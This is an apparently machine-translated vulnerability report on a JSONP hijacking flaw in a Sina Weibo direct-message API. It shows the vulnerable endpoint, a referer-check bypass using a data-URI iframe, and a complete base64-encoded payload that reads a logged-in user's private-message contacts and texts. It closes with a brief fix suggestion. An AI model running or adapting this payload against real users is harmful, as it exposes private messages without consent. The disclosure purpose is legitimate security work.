You can click my link to know your Weibo nickname and some of your private messages.

You can click my link to know your Weibo nickname and some of your private messages.

I helped with the glasses frame ..

The jsonp hijacking vulnerability exists in the interface for Sina to obtain some private messages.



Http://api.weibo.com/webim/2/direct_messages/contacts.json? Source = 209678993 & count = 200 & add_virtual_user = 5, & is_include_group = 0 & callback = stk_14213436516391



When you log on to Weibo, access the above interface to obtain a list of private messages, from which you can extract the nicknames of some private messages that have already been used by both parties. This interface performs a referer check, but the referer is allowed to be empty. You can use the iframe data pseudo protocol to bypass


 

Construct a page for obtaining and performing operations.

 

Use iframe to solve the referer problem. That is, the final payload is:
 
 
<iframe src="data:text/html;base64,PGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiPgo8L2hlYWQ+Cjxib2R5Pgo8c2NyaXB0PgpmdW5jdGlvbiBTVEtfMTQ1MTE0MzY1MTYzOTEoZGF0YSl7Cgl2YXIgbmlja25hbWUgPSAiIjsKCXZhciBkb2MgPSAiIjsKCWZvciAodmFyIGkgPSAwOyBpIDwgZGF0YS5kYXRhLmNvbnRhY3RzLmxlbmd0aDsgaSsrKSB7CgkJdXNlcm5hbWUgPSBkYXRhLmRhdGEuY29udGFjdHNbaV0udXNlci5uYW1lCgkJbXNnID0gZGF0YS5kYXRhLmNvbnRhY3RzW2ldLm1lc3NhZ2UudGV4dAoJCW5pY2tuYW1lID0gZGF0YS5kYXRhLmNvbnRhY3RzW2ldLm1lc3NhZ2UucmVjaXBpZW50X3NjcmVlbl9uYW1lCgkJZG9jICs9IHVzZXJuYW1lKyI6PGJyPiIrbXNnKyI8YnI+PGJyPiIKCX0KCWRvYyA9ICJIZWxsbyAiK25pY2tuYW1lKyIsIGhlcmUgaXMgeW91ciBsYXRlc3QgcHJpdmF0ZSBtZXNzYWdlIGxpc3Q6PGJyPjxicj4iK2RvYwoJZG9jdW1lbnQud3JpdGUoZG9jKQp9Cjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cDovL2FwaS53ZWliby5jb20vd2ViaW0vMi9kaXJlY3RfbWVzc2FnZXMvY29udGFjdHMuanNvbj9zb3VyY2U9MjA5Njc4OTkzJmNvdW50PTIwMCZhZGRfdmlydHVhbF91c2VyPTUsJmlzX2luY2x1ZGVfZ3JvdXA9MCZjYWxsYmFjaz1TVEtfMTQ1MTE0MzY1MTYzOTEiPjwvc2NyaXB0Pgo8L2JvZHk+" width="100%" height="100%">

 
Save the nickname code as 1.html, open and change the display code to UTF-8 to see the nickname and some private messages.
Solution:

Cannot empty referer? It seems that there will be some strange problems ..
Add some unpredictable parameters.